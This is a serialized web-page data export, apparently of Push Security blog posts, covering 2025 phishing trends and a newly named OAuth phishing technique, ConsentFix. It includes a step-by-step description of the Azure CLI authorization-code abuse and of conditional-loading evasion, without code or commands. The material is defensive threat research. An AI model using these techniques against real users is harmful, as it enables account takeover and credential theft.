for-hire tools and services exist for criminals to use for a fee. ",{"data":9109,"content":9110,"nodeType":866},{},[9111,9115,9124,9128,9136,9140,9149],{"data":9112,"marks":9113,"value":9114,"nodeType":865},{},[],"This competitive environment has fueled attacker innovation, resulting in an environment in which MFA-bypass is table stakes, phishing-resistant authentication is being circumvented through ",{"data":9116,"content":9118,"nodeType":889},{"uri":9117},"https://pushsecurity.com/blog/mfa-downgrade-attacks",[9119],{"data":9120,"marks":9121,"value":9123,"nodeType":865},{},[9122],{"type":1191},"downgrade attacks",{"data":9125,"marks":9126,"value":9127,"nodeType":865},{},[],", and ",{"data":9129,"content":9130,"nodeType":889},{"uri":1388},[9131],{"data":9132,"marks":9133,"value":9135,"nodeType":865},{},[9134],{"type":1191},"detection evasion techniques",{"data":9137,"marks":9138,"value":9139,"nodeType":865},{},[]," are being used to circumvent security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic. It also means that when new capabilities emerge — such as ",{"data":9141,"content":9143,"nodeType":889},{"uri":9142},"https://pushsecurity.com/blog/analyzing-the-latest-sneaky2fa-phishing-page",[9144],{"data":9145,"marks":9146,"value":9148,"nodeType":865},{},[9147],{"type":1191},"Browser-in-the-Browser",{"data":9150,"marks":9151,"value":9152,"nodeType":865},{},[]," — these are quickly integrated into a range of phishing kits. ",{"data":9154,"content":9155,"nodeType":866},{},[9156],{"data":9157,"marks":9158,"value":9159,"nodeType":865},{},[],"Some of the most prevalent detection evasion methods we’ve seen this year are:",{"data":9161,"content":9162,"nodeType":2374},{},[9163,9173,9183],{"data":9164,"content":9165,"nodeType":2309},{},[9166],{"data":9167,"content":9168,"nodeType":866},{},[9169],{"data":9170,"marks":9171,"value":9172,"nodeType":865},{},[],"Widespread use of bot protection. Every phishing page today comes with either a custom CAPTCHA or Cloudflare Turnstile (legitimate and fake versions) designed to block web-crawling security bots from being able to analyse phishing pages. ",{"data":9174,"content":9175,"nodeType":2309},{},[9176],{"data":9177,"content":9178,"nodeType":866},{},[9179],{"data":9180,"marks":9181,"value":9182,"nodeType":865},{},[],"Extensive redirect chains between the initial link seeded out to the victim, and the actual malicious page hosting phishing content, designed to bury phishing sites among several legitimate pages. ",{"data":9184,"content":9185,"nodeType":2309},{},[9186],{"data":9187,"content":9188,"nodeType":866},{},[9189,9193,9202],{"data":9190,"marks":9191,"value":9192,"nodeType":865},{},[],"Multi-stage page loading performed client-side via JavaScript. This means that pages are ",{"data":9194,"content":9196,"nodeType":889},{"uri":9195},"https://phishing-techniques.pushsecurity.com/techniques/conditional-loading/",[9197],{"data":9198,"marks":9199,"value":9201,"nodeType":865},{},[9200],{"type":1191},"conditionally loaded",{"data":9203,"marks":9204,"value":9205,"nodeType":865},{},[],", and if conditions aren’t met, malicious content isn’t served — so the page looks clean. This also means that most of the malicious activity is happening locally, without creating web requests that can be analysed by network traffic analysis tools (e.g. web proxies). ",{"data":9207,"content":9211,"nodeType":921},{"target":9208},{"sys":9209},{"id":9210,"type":918,"linkType":919},"5LLgjhCexTYd5OlHuptv3n",[],{"data":9213,"content":9214,"nodeType":866},{},[9215],{"data":9216,"marks":9217,"value":9218,"nodeType":865},{},[],"This contributes to an environment where phishing is going undetected for extended periods of time. Even when a page is flagged, it’s trivial for attackers to dynamically serve up different phishing pages from the same benign chain of URLs used in the attack. ",{"data":9220,"content":9221,"nodeType":866},{},[9222],{"data":9223,"marks":9224,"value":9225,"nodeType":865},{},[],"This is all to say that the old-school approach to URL blocking bad sites is becoming much harder and leaves you two steps behind attackers at all times.",{"data":9227,"content":9228,"nodeType":944},{},[],{"data":9230,"content":9231,"nodeType":953},{},[9232],{"data":9233,"marks":9234,"value":9236,"nodeType":865},{},[9235],{"type":935},"#3: Attackers find ways around phishing-resistant authentication (and other security controls)",{"data":9238,"content":9239,"nodeType":866},{},[9240],{"data":9241,"marks":9242,"value":9243,"nodeType":865},{},[],"We already mentioned that MFA downgrade has been an area of focus for security researchers and attackers. But phishing-resistant authentication methods (i.e. passkeys) remain effective so long as the phishing-resistant factor is the only possible login factor, and there are no backup methods enabled for the account. (Though because of the logistical issues of having just one factor, this is fairly uncommon.) ",{"data":9245,"content":9246,"nodeType":866},{},[9247],{"data":9248,"marks":9249,"value":9250,"nodeType":865},{},[],"Equally, access control policies can be applied on larger enterprise apps and cloud platforms to reduce the risk of unauthorized access (although these can be tricky to implement and maintain without error).",{"data":9252,"content":9253,"nodeType":866},{},[9254],{"data":9255,"marks":9256,"value":9257,"nodeType":865},{},[],"In any case, attackers are considering all eventualities and looking for alternative ways into accounts that are less well protected. This mainly involves attackers circumventing the standard authentication process, through techniques such as:",{"data":9259,"content":9260,"nodeType":2374},{},[9261,9289,9315],{"data":9262,"content":9263,"nodeType":2309},{},[9264],{"data":9265,"content":9266,"nodeType":866},{},[9267,9270,9280,9285],{"data":9268,"marks":9269,"value":21,"nodeType":865},{},[],{"data":9271,"content":9273,"nodeType":889},{"uri":9272},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/consent_phishing/description.md",[9274],{"data":9275,"marks":9276,"value":9279,"nodeType":865},{},[9277,9278],{"type":1191},{"type":935},"Consent phishing",{"data":9281,"marks":9282,"value":9284,"nodeType":865},{},[9283],{"type":935},":",{"data":9286,"marks":9287,"value":9288,"nodeType":865},{},[]," Tricking victims into connecting malicious OAuth apps into their app tenant.",{"data":9290,"content":9291,"nodeType":2309},{},[9292],{"data":9293,"content":9294,"nodeType":866},{},[9295,9298,9307,9311],{"data":9296,"marks":9297,"value":21,"nodeType":865},{},[],{"data":9299,"content":9301,"nodeType":889},{"uri":9300},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/device_code_phishing/description.md",[9302],{"data":9303,"marks":9304,"value":360,"nodeType":865},{},[9305,9306],{"type":1191},{"type":935},{"data":9308,"marks":9309,"value":7185,"nodeType":865},{},[9310],{"type":935},{"data":9312,"marks":9313,"value":9314,"nodeType":865},{},[],"The same as consent phishing, but authorizing through the device code flow designed for device logins that cannot support OAuth, by providing a substitute passcode. ",{"data":9316,"content":9317,"nodeType":2309},{},[9318],{"data":9319,"content":9320,"nodeType":866},{},[9321,9326],{"data":9322,"marks":9323,"value":9325,"nodeType":865},{},[9324],{"type":935},"Malicious browser extensions: ",{"data":9327,"marks":9328,"value":9329,"nodeType":865},{},[],"Tricking victims into installing a malicious extension (or hijacking an existing one) to steal credentials and cookies from the browser. ",{"data":9331,"content":9335,"nodeType":921},{"target":9332},{"sys":9333},{"id":9334,"type":918,"linkType":919},"75lMjdJtq9APebTaF2hQ1b",[],{"data":9337,"content":9341,"nodeType":921},{"target":9338},{"sys":9339},{"id":9340,"type":918,"linkType":919},"4KWwlg8PsuyAud8i5tpWfH",[],{"data":9343,"content":9344,"nodeType":866},{},[9345,9349,9357,9361,9370],{"data":9346,"marks":9347,"value":9348,"nodeType":865},{},[],"Another technique that attackers are using to steal credentials and sessions is ",{"data":9350,"content":9352,"nodeType":889},{"uri":9351},"https://pushsecurity.com/blog/the-most-advanced-clickfix-yet",[9353],{"data":9354,"marks":9355,"value":315,"nodeType":865},{},[9356],{"type":1191},{"data":9358,"marks":9359,"value":9360,"nodeType":865},{},[],". ClickFix was the ",{"data":9362,"content":9364,"nodeType":889},{"uri":9363},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf#page=36",[9365],{"data":9366,"marks":9367,"value":9369,"nodeType":865},{},[9368],{"type":1191},"top initial access vector detected by Microsoft last year",{"data":9371,"marks":9372,"value":9373,"nodeType":865},{},[],", involved in 47% of attacks. While not a traditional phishing attack, this sees attackers socially engineer users into running malicious code on their machine, typically deploying remote access tools and infostealer malware. Infostealers are then used to harvest credentials and cookies for initial access to various apps and services. ",{"data":9375,"content":9379,"nodeType":921},{"target":9376},{"sys":9377},{"id":9378,"type":918,"linkType":919},"4cC9GbPoKFmYUJgbkbeOLs",[],{"data":9381,"content":9382,"nodeType":866},{},[9383,9387,9395],{"data":9384,"marks":9385,"value":9386,"nodeType":865},{},[],"Push Security researchers have also discovered a brand new technique dubbed ",{"data":9388,"content":9390,"nodeType":889},{"uri":9389},"https://pushsecurity.com/blog/consentfix",[9391],{"data":9392,"marks":9393,"value":2101,"nodeType":865},{},[9394],{"type":1191},{"data":9396,"marks":9397,"value":9398,"nodeType":865},{},[]," — a browser-native version of ClickFix that results in an OAuth connection being established to the target app, simply by copying and pasting a legitimate URL containing OAuth key material. ",{"data":9400,"content":9404,"nodeType":921},{"target":9401},{"sys":9402},{"id":9403,"type":918,"linkType":919},"4bdqleePd53oK5v5uEUFbr",[],{"data":9406,"content":9407,"nodeType":866},{},[9408],{"data":9409,"marks":9410,"value":9411,"nodeType":865},{},[],"This is even more dangerous than ClickFix as it is entirely browser-native — removing the endpoint detection surface (and strong security controls like EDR) from the equation entirely. And in the particular case spotted by Push, the attackers targeted Azure CLI — a first-party Microsoft app that has special permissions and can’t be restricted like third-party apps. ",{"data":9413,"content":9414,"nodeType":866},{},[9415],{"data":9416,"marks":9417,"value":9418,"nodeType":865},{},[],"Really, there are lots of different techniques attackers can use to take over accounts on key business applications — it’s outdated to think of phishing as being locked in to passwords, MFA, and the standard authentication flow. ",{"data":9420,"content":9424,"nodeType":921},{"target":9421},{"sys":9422},{"id":9423,"type":918,"linkType":919},"74S97KkuFzI48UwXw3msTq",[],{"data":9426,"content":9427,"nodeType":944},{},[],{"data":9429,"content":9430,"nodeType":953},{},[9431],{"data":9432,"marks":9433,"value":9435,"nodeType":865},{},[9434],{"type":935},"Guidance for security teams in 2026",{"data":9437,"content":9438,"nodeType":866},{},[9439],{"data":9440,"marks":9441,"value":9442,"nodeType":865},{},[],"To tackle phishing in 2026, security teams need to change their threat model for phishing, and acknowledge that:",{"data":9444,"content":9445,"nodeType":2374},{},[9446,9456,9466],{"data":9447,"content":9448,"nodeType":2309},{},[9449],{"data":9450,"content":9451,"nodeType":866},{},[9452],{"data":9453,"marks":9454,"value":9455,"nodeType":865},{},[],"It’s not enough to protect email as your main anti-phishing surface",{"data":9457,"content":9458,"nodeType":2309},{},[9459],{"data":9460,"content":9461,"nodeType":866},{},[9462],{"data":9463,"marks":9464,"value":9465,"nodeType":865},{},[],"Network and traffic monitoring tools aren’t keeping up with modern phishing pages",{"data":9467,"content":9468,"nodeType":2309},{},[9469],{"data":9470,"content":9471,"nodeType":866},{},[9472],{"data":9473,"marks":9474,"value":9475,"nodeType":865},{},[],"Phishing-resistant authentication, even if perfectly implemented, doesn’t make you immune",{"data":9477,"content":9478,"nodeType":866},{},[9479],{"data":9480,"marks":9481,"value":9482,"nodeType":865},{},[],"Detection and response is key. But most organizations have significant visibility gaps.",{"data":9484,"content":9485,"nodeType":944},{},[],{"data":9487,"content":9488,"nodeType":953},{},[9489],{"data":9490,"marks":9491,"value":9493,"nodeType":865},{},[9492],{"type":935},"Solving the detection gap in the browser",{"data":9495,"content":9496,"nodeType":866},{},[9497],{"data":9498,"marks":9499,"value":9500,"nodeType":865},{},[],"One thing that these attacks have in common is that they all take place in the web browser, targeting users as they go about their work on the internet. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams.",{"data":9502,"content":9503,"nodeType":866},{},[9504],{"data":9505,"marks":9506,"value":9507,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":9509,"content":9510,"nodeType":866},{},[9511,9515,9522,9526,9533],{"data":9512,"marks":9513,"value":9514,"nodeType":865},{},[],"To learn more about Push, ",{"data":9516,"content":9517,"nodeType":889},{"uri":3192},[9518],{"data":9519,"marks":9520,"value":3198,"nodeType":865},{},[9521],{"type":1191},{"data":9523,"marks":9524,"value":9525,"nodeType":865},{},[]," or ",{"data":9527,"content":9528,"nodeType":889},{"uri":2644},[9529],{"data":9530,"marks":9531,"value":3223,"nodeType":865},{},[9532],{"type":1191},{"data":9534,"marks":9535,"value":1066,"nodeType":865},{},[],{"data":9537,"content":9541,"nodeType":921},{"target":9538},{"sys":9539},{"id":9540,"type":918,"linkType":919},"6QzB0BlVC5mstXwXHvy2c3",[],{"data":9543,"content":9544,"nodeType":866},{},[9545],{"data":9546,"marks":9547,"value":21,"nodeType":865},{},[],{"entries":9549},{"hyperlink":9550,"inline":9551,"block":9552},[],[],[9553,9578,9583,9589,9595,9601,9607,9614,9620,9627,9633],{"sys":9554,"__typename":1679,"content":9555,"name":9577,"title":59},{"id":8881},{"json":9556},{"nodeType":1663,"data":9557,"content":9558},{},[9559],{"nodeType":866,"data":9560,"content":9561},{},[9562,9566,9574],{"nodeType":865,"value":9563,"marks":9564,"data":9565},"We recently ran a webinar packed full of attack demo's, showcasing some of the most interesting attacks intercepted by Push in 2025. ",[],{},{"nodeType":889,"data":9567,"content":9569},{"uri":9568},"https://pushsecurity.com/webinar/phishing-2025-review",[9570],{"nodeType":865,"value":9571,"marks":9572,"data":9573},"You can now watch it on demand here!",[],{},{"nodeType":865,"value":21,"marks":9575,"data":9576},[],{},"Top phishing trends insight box 1",{"sys":9579,"__typename":1671,"title":9580,"caption":9580,"layoutMode":59,"file":9581},{"id":9029},"Fake private equity fund page hosted on Google Sites. ",{"url":9582,"width":1675,"height":1739},"https://images.ctfassets.net/y1cdw1ablpvd/2DbF1Lj4h5HVGrqDhlVlTF/9efa11f318206eb913d83c254746efb1/1.png",{"sys":9584,"__typename":1671,"title":9585,"caption":9585,"layoutMode":59,"file":9586},{"id":9035},"Custom investment fund landing page hosted on Firebase.",{"url":9587,"width":1675,"height":9588},"https://images.ctfassets.net/y1cdw1ablpvd/2NH9muR2eBEPEybqQ8o0yu/ef66b40c7428790c9017181e17b33558/2.png",1080,{"sys":9590,"__typename":1671,"title":9591,"caption":9591,"layoutMode":59,"file":9592},{"id":9041},"Malvertising link for “Google Ads” taking the top Sponsored Results spot.",{"url":9593,"width":1675,"height":9594},"https://images.ctfassets.net/y1cdw1ablpvd/2gQcwHSyUKIoqlW1upRSzK/5ead4c9e6c1e6659be7d781ad85ed9ea/3.png",1205,{"sys":9596,"__typename":1671,"title":9597,"caption":9597,"layoutMode":59,"file":9598},{"id":9210},"Example of a typical phishing link chain incorporating legitimate websites before serving up a phishing page, as shown in the Push Security “Timelines” detection feature.",{"url":9599,"width":9600,"height":1675},"https://images.ctfassets.net/y1cdw1ablpvd/3WZkEAVsAH7PWtcoQJfDG1/03826279b5dd2bc11fbbf34f82c59136/4.png",1743,{"sys":9602,"__typename":1671,"title":9603,"caption":9603,"layoutMode":59,"file":9604},{"id":9334},"Consent phishing examples where an attacker tricks the victim into authorizing an attacker-controlled app with risky permissions.",{"url":9605,"width":1675,"height":9606},"https://images.ctfassets.net/y1cdw1ablpvd/2ZgY3mMKcE6IGpH55kOuL4/2a7e78e97654faa61cf8e8b002789b96/5.png",1367,{"sys":9608,"__typename":1671,"title":9609,"caption":9609,"layoutMode":59,"file":9610},{"id":9340},"Device code phishing targeting Salesforce, as seen in the Scattered Lapsus$ Hunters campaign. ",{"url":9611,"width":9612,"height":9613},"https://images.ctfassets.net/y1cdw1ablpvd/7uvYjRiqG4E7qj3PTmTZzW/3d3ed52d3157bf12a630e35eb2ae08d1/6.png",1488,950,{"sys":9615,"__typename":1671,"title":9616,"caption":9616,"layoutMode":59,"file":9617},{"id":9378},"ClickFix attacks prompt the victim to “fix” an issue on the webpage by running code locally on their machine.",{"url":9618,"width":1675,"height":9619},"https://images.ctfassets.net/y1cdw1ablpvd/1LXv96rhy5Sv6SBlJP0bJS/6fb6b49dcd2bdc003c2aa60ed271708f/7.png",1117,{"sys":9621,"__typename":1671,"title":9622,"caption":9622,"layoutMode":59,"file":9623},{"id":9403},"ConsentFix prompts victims to paste a URL containing an OAuth code, authorising a connection to the attacker’s OAuth app tenant. ",{"url":9624,"width":9625,"height":9626},"https://images.ctfassets.net/y1cdw1ablpvd/7IfG43sz0jRnrNiKsMwN8j/1373b7cd86fe969acad27ad956612ca0/8.png",1225,1135,{"sys":9628,"__typename":1671,"title":9629,"caption":9629,"layoutMode":59,"file":9630},{"id":9423},"There are lots of ways that attackers can achieve account takeover today via phishing / social engineering.",{"url":9631,"width":1675,"height":9632},"https://images.ctfassets.net/y1cdw1ablpvd/4Wz7gAJLWDyaGjj030ypH2/7a07f1e5c46cdebd2e395d0ceb412387/9.png",969,{"sys":9634,"__typename":6765,"type":6766,"ctaText":9635,"buttonLabel":9636,"buttonColour":6769,"buttonUrl":9568},{"id":9540},"Learn how phishing evolved in 2025, showcasing the most sophisticated attacks and key trends uncovered by Push researchers","Register Now",{"items":9638},[],{},"Analyzing 2025's top phishing trends","2025-12-15T00:00:00.000Z",{"items":9643},[9644,10505,11100],{"__typename":1802,"sys":9645,"content":9646,"title":6638,"synopsis":10489,"hashTags":59,"publishedDate":10490,"slug":6639,"tagsCollection":10491,"authorsCollection":10497},{"id":5908},{"json":9647},{"data":9648,"content":9649,"nodeType":1663},{},[9650,9658,9665,9672,9679,9691,9698,9704,9710,9713,9721,9728,9735,9741,9760,9767,9773,9780,9786,9793,9836,9842,9848,9855,9862,9865,9873,9893,9900,9906,9925,9931,9950,9957,9960,9968,9975,10020,10032,10035,10043,10060,10067,10083,10090,10097,10103,10110,10113,10121,10128,10181,10188,10191,10199,10205,10212,10219,10225,10232,10265,10272,10279,10285,10292,10298,10305,10322,10329,10362,10369,10402,10405,10413,10420,10426,10445,10452,10478,10483],{"data":9651,"content":9652,"nodeType":953},{},[9653],{"data":9654,"marks":9655,"value":9657,"nodeType":865},{},[9656],{"type":935},"Introducing “ConsentFix” — a new kind of phishing attack",{"data":9659,"content":9660,"nodeType":866},{},[9661],{"data":9662,"marks":9663,"value":9664,"nodeType":865},{},[],"The Push browser agent recently detected and blocked a new attack technique seen targeting several Push customers. ",{"data":9666,"content":9667,"nodeType":866},{},[9668],{"data":9669,"marks":9670,"value":9671,"nodeType":865},{},[],"This is a new kind of browser-based attack technique that takes over user accounts with a simple copy and paste. If you’re already logged into the app in your browser, you don’t even need to supply creds, or pass an MFA check — meaning it effectively circumvents phishing-resistant auth like passkeys too.",{"data":9673,"content":9674,"nodeType":866},{},[9675],{"data":9676,"marks":9677,"value":9678,"nodeType":865},{},[],"This is so different from the AiTM phish kits we usually come up against that we felt it deserved a new name. ",{"data":9680,"content":9681,"nodeType":866},{},[9682,9687],{"data":9683,"marks":9684,"value":9686,"nodeType":865},{},[9685],{"type":935},"Enter: ConsentFix. ",{"data":9688,"marks":9689,"value":9690,"nodeType":865},{},[],"This attack shares a lot of similarities with ClickFix/FileFix, AiTM phishing, and OAuth Consent Phishing. You can think of this as a browser-native ClickFix attack that phishes an OAuth token on a target app by getting the victim to copy and paste a URL containing OAuth key material into a phishing page. ",{"data":9692,"content":9693,"nodeType":866},{},[9694],{"data":9695,"marks":9696,"value":9697,"nodeType":865},{},[],"The campaign we detected looks to be specifically targeting Microsoft accounts by abusing the Azure CLI OAuth app. Essentially, the attacker tricks the victim into logging into Azure CLI, by generating an OAuth authorization code — visible in a localhost URL — and then pasting that URL (including the code) into an attacker-controlled page. This then creates an OAuth connection between the victim’s Microsoft account and the attacker’s Azure CLI instance. ",{"data":9699,"content":9703,"nodeType":921},{"target":9700},{"sys":9701},{"id":9702,"type":918,"linkType":919},"5GTnqWIbmraz8HZeHMybrP",[],{"data":9705,"content":9709,"nodeType":921},{"target":9706},{"sys":9707},{"id":9708,"type":918,"linkType":919},"1lcjX5q3b1bsuhyOXKvJpW",[],{"data":9711,"content":9712,"nodeType":944},{},[],{"data":9714,"content":9715,"nodeType":953},{},[9716],{"data":9717,"marks":9718,"value":9720,"nodeType":865},{},[9719],{"type":935},"How ConsentFix works",{"data":9722,"content":9723,"nodeType":866},{},[9724],{"data":9725,"marks":9726,"value":9727,"nodeType":865},{},[],"In all of the examples we saw, the victim accessed a malicious or compromised webpage via Google Search. The vast majority of the sites we’ve seen associated with the campaign are legitimate, compromised websites with high domain reputation that are easily findable via search engines.",{"data":9729,"content":9730,"nodeType":866},{},[9731],{"data":9732,"marks":9733,"value":9734,"nodeType":865},{},[],"The attacker had injected a fake Cloudflare Turnstile into the compromised websites, requiring an email address to be supplied in order to proceed. ",{"data":9736,"content":9740,"nodeType":921},{"target":9737},{"sys":9738},{"id":9739,"type":918,"linkType":919},"39jEjeLqOYIkGc4o9w3MuX",[],{"data":9742,"content":9743,"nodeType":866},{},[9744,9748,9756],{"data":9745,"marks":9746,"value":9747,"nodeType":865},{},[],"This acted as a form of ",{"data":9749,"content":9750,"nodeType":889},{"uri":9195},[9751],{"data":9752,"marks":9753,"value":9755,"nodeType":865},{},[9754],{"type":1191},"conditional loading",{"data":9757,"marks":9758,"value":9759,"nodeType":865},{},[]," that would only continue if a valid email address and domain was supplied, designed to prevent the page from being analyzed by security bots, analysts, and low-value accounts that run the risk of exposing the campaign before the intended recipient(s) can be phished. ",{"data":9761,"content":9762,"nodeType":866},{},[9763],{"data":9764,"marks":9765,"value":9766,"nodeType":865},{},[],"If a domain not on the target list was provided, the victim was passed back to the original website and the attack did not progress to the next stage. Further, once the check has concluded per IP, the phishing page will no longer activate, even a different email is provided.  ",{"data":9768,"content":9772,"nodeType":921},{"target":9769},{"sys":9770},{"id":9771,"type":918,"linkType":919},"7ttmGnTzi9j87tBXfyFcOA",[],{"data":9774,"content":9775,"nodeType":866},{},[9776],{"data":9777,"marks":9778,"value":9779,"nodeType":865},{},[],"After entering an approved email address, the next stage was loaded, prompting the victim to complete a set of instructions on the page to continue.",{"data":9781,"content":9785,"nodeType":921},{"target":9782},{"sys":9783},{"id":9784,"type":918,"linkType":919},"2oHYNoMgAz6MdgLlcWjbaB",[],{"data":9787,"content":9788,"nodeType":866},{},[9789],{"data":9790,"marks":9791,"value":9792,"nodeType":865},{},[],"To complete the attack, the victim must:",{"data":9794,"content":9795,"nodeType":2374},{},[9796,9806,9816,9826],{"data":9797,"content":9798,"nodeType":2309},{},[9799],{"data":9800,"content":9801,"nodeType":866},{},[9802],{"data":9803,"marks":9804,"value":9805,"nodeType":865},{},[],"Click the “Sign In” button. This opens a new tab that loads a legitimate Microsoft URL associated with the user account/email used to access the page.",{"data":9807,"content":9808,"nodeType":2309},{},[9809],{"data":9810,"content":9811,"nodeType":866},{},[9812],{"data":9813,"marks":9814,"value":9815,"nodeType":865},{},[],"If the user is already logged into Microsoft in their browser, they simply need to select their MS account from the dropdown. Otherwise, they will be required to login via the legitimate Microsoft login URL (no phishing takes place at this stage). ",{"data":9817,"content":9818,"nodeType":2309},{},[9819],{"data":9820,"content":9821,"nodeType":866},{},[9822],{"data":9823,"marks":9824,"value":9825,"nodeType":865},{},[],"Once logged into legit Microsoft or the account is selected from the dropdown, the user is redirected to localhost, which generates a URL containing a code associated with the user’s Microsoft account. ",{"data":9827,"content":9828,"nodeType":2309},{},[9829],{"data":9830,"content":9831,"nodeType":866},{},[9832],{"data":9833,"marks":9834,"value":9835,"nodeType":865},{},[],"To complete the phish, the victim copies the URL and pastes it onto the original page. ",{"data":9837,"content":9841,"nodeType":921},{"target":9838},{"sys":9839},{"id":9840,"type":918,"linkType":919},"7zendMbmCViGwtEpUQvq6y",[],{"data":9843,"content":9847,"nodeType":921},{"target":9844},{"sys":9845},{"id":9846,"type":918,"linkType":919},"1eZOs7hXi9FzCE92QEP6xh",[],{"data":9849,"content":9850,"nodeType":866},{},[9851],{"data":9852,"marks":9853,"value":9854,"nodeType":865},{},[],"Once the steps are completed, the victim has granted the attacker access to their Microsoft account via Azure CLI. ",{"data":9856,"content":9857,"nodeType":866},{},[9858],{"data":9859,"marks":9860,"value":9861,"nodeType":865},{},[],"At this point, the attacker has effective control of the victim’s Microsoft account, but without ever needing to phish a password, or pass an MFA check. In fact, if the user was already logged in to their Microsoft account (i.e. they had an active session) no login is required at all. ",{"data":9863,"content":9864,"nodeType":944},{},[],{"data":9866,"content":9867,"nodeType":953},{},[9868],{"data":9869,"marks":9870,"value":9872,"nodeType":865},{},[9871],{"type":935},"The next evolution of ClickFix?",{"data":9874,"content":9875,"nodeType":866},{},[9876,9880,9889],{"data":9877,"marks":9878,"value":9879,"nodeType":865},{},[],"When we presented ",{"data":9881,"content":9883,"nodeType":889},{"uri":9882},"https://pushsecurity.com/webinar/clickfix",[9884],{"data":9885,"marks":9886,"value":9888,"nodeType":865},{},[9887],{"type":1191},"our last webinar on ClickFix",{"data":9890,"marks":9891,"value":9892,"nodeType":865},{},[],", we predicted that the next evolution of the attack would happen entirely within the browser context. This is because any attack that touches the endpoint (a traditionally much better protected surface) is way more likely to be detected. And with many ClickFix attacks being used to deliver infostealer malware, these attacks are really trying to get back into the browser anyway — to steal credentials and sessions stored there. ",{"data":9894,"content":9895,"nodeType":866},{},[9896],{"data":9897,"marks":9898,"value":9899,"nodeType":865},{},[],"Let’s take a closer look at the page — if you follow Push research, you might be getting déjà vu. ",{"data":9901,"content":9905,"nodeType":921},{"target":9902},{"sys":9903},{"id":9904,"type":918,"linkType":919},"1vMZCJ92IxFdR1EzzCOOvb",[],{"data":9907,"content":9908,"nodeType":866},{},[9909,9913,9922],{"data":9910,"marks":9911,"value":9912,"nodeType":865},{},[],"We’ve seen this kind of embedded video player before (albeit a slicker looking one) that we blogged about as ",{"data":9914,"content":9916,"nodeType":889},{"uri":9915},"https://pushsecurity.com/blog/the-most-advanced-clickfix-yet/",[9917],{"data":9918,"marks":9919,"value":9921,"nodeType":865},{},[9920],{"type":1191},"the most advanced ClickFix we’d seen",{"data":9923,"marks":9924,"value":1066,"nodeType":865},{},[],{"data":9926,"content":9930,"nodeType":921},{"target":9927},{"sys":9928},{"id":9929,"type":918,"linkType":919},"ID7VKJNOZk729P5zBOBjZ",[],{"data":9932,"content":9933,"nodeType":866},{},[9934,9938,9946],{"data":9935,"marks":9936,"value":9937,"nodeType":865},{},[],"Another similarity with ClickFix campaigns we’ve investigated is the use of Google Search as a delivery vector. 4 in 5 ClickFix attacks intercepted by Push came via Google Search, with attackers using ",{"data":9939,"content":9941,"nodeType":889},{"uri":9940},"https://phishing-techniques.pushsecurity.com/techniques/malvertising/",[9942],{"data":9943,"marks":9944,"value":441,"nodeType":865},{},[9945],{"type":1191},{"data":9947,"marks":9948,"value":9949,"nodeType":865},{},[]," and either compromised or custom vibe-coded websites to intercept users as they browse the internet. ",{"data":9951,"content":9952,"nodeType":866},{},[9953],{"data":9954,"marks":9955,"value":9956,"nodeType":865},{},[],"So it seems highly likely that this is a kind of browser-native evolution of ClickFix that shares many elements with typical ClickFix attacks, and is probably used by the same groups of attackers.",{"data":9958,"content":9959,"nodeType":944},{},[],{"data":9961,"content":9962,"nodeType":953},{},[9963],{"data":9964,"marks":9965,"value":9967,"nodeType":865},{},[9966],{"type":935},"OAuth shenanigans via Azure CLI",{"data":9969,"content":9970,"nodeType":866},{},[9971],{"data":9972,"marks":9973,"value":9974,"nodeType":865},{},[],"The clever use of Azure CLI and OAuth consent abuse is another clever iteration on previous techniques. ",{"data":9976,"content":9977,"nodeType":866},{},[9978,9982,9991,9994,10003,10007,10016],{"data":9979,"marks":9980,"value":9981,"nodeType":865},{},[],"We’ve previously seen ",{"data":9983,"content":9985,"nodeType":889},{"uri":9984},"https://phishing-techniques.pushsecurity.com/techniques/consent-phishing/",[9986],{"data":9987,"marks":9988,"value":9990,"nodeType":865},{},[9989],{"type":1191},"consent phishing",{"data":9992,"marks":9993,"value":1182,"nodeType":865},{},[],{"data":9995,"content":9997,"nodeType":889},{"uri":9996},"https://phishing-techniques.pushsecurity.com/techniques/device-code-phishing/",[9998],{"data":9999,"marks":10000,"value":10002,"nodeType":865},{},[10001],{"type":1191},"device code phishing",{"data":10004,"marks":10005,"value":10006,"nodeType":865},{},[]," attacks where attackers have tricked victims into connecting malicious external apps into their tenant via OAuth, but this is becoming increasingly difficult in core enterprise cloud environments like Azure due to ",{"data":10008,"content":10010,"nodeType":889},{"uri":10009},"https://learn.microsoft.com/en-us/microsoft-365/admin/misc/user-consent?view=o365-worldwide",[10011],{"data":10012,"marks":10013,"value":10015,"nodeType":865},{},[10014],{"type":1191},"stricter default configs",{"data":10017,"marks":10018,"value":10019,"nodeType":865},{},[],". However, since Azure CLI is a first-party Microsoft app, it is implicitly trusted in Entra ID, and is excluded from these restrictions. ",{"data":10021,"content":10022,"nodeType":866},{},[10023,10027],{"data":10024,"marks":10025,"value":10026,"nodeType":865},{},[],"First-party apps like Azure CLI are trusted by default in all tenants, allowed to request permissions without admin approval, and cannot be deleted or blocked. They can also be granted special permissions, such as tenant-wide service permissions (without needing admin approval), use of legacy or undocumented graph scopes, internal scopes for Microsoft client operations, and permissions for Office/Entra admin functions. ",{"data":10028,"marks":10029,"value":10031,"nodeType":865},{},[10030],{"type":935},"This makes Azure CLI a prime target for attackers, and significantly more exploitable than when connecting a third-party app. ",{"data":10033,"content":10034,"nodeType":944},{},[],{"data":10036,"content":10037,"nodeType":953},{},[10038],{"data":10039,"marks":10040,"value":10042,"nodeType":865},{},[10041],{"type":935},"Advanced detection evasion techniques",{"data":10044,"content":10045,"nodeType":866},{},[10046,10050,10056],{"data":10047,"marks":10048,"value":10049,"nodeType":865},{},[],"This campaign features some of the most advanced ",{"data":10051,"content":10052,"nodeType":889},{"uri":1388},[10053],{"data":10054,"marks":10055,"value":9135,"nodeType":865},{},[],{"data":10057,"marks":10058,"value":10059,"nodeType":865},{},[]," we've seen in the wild. 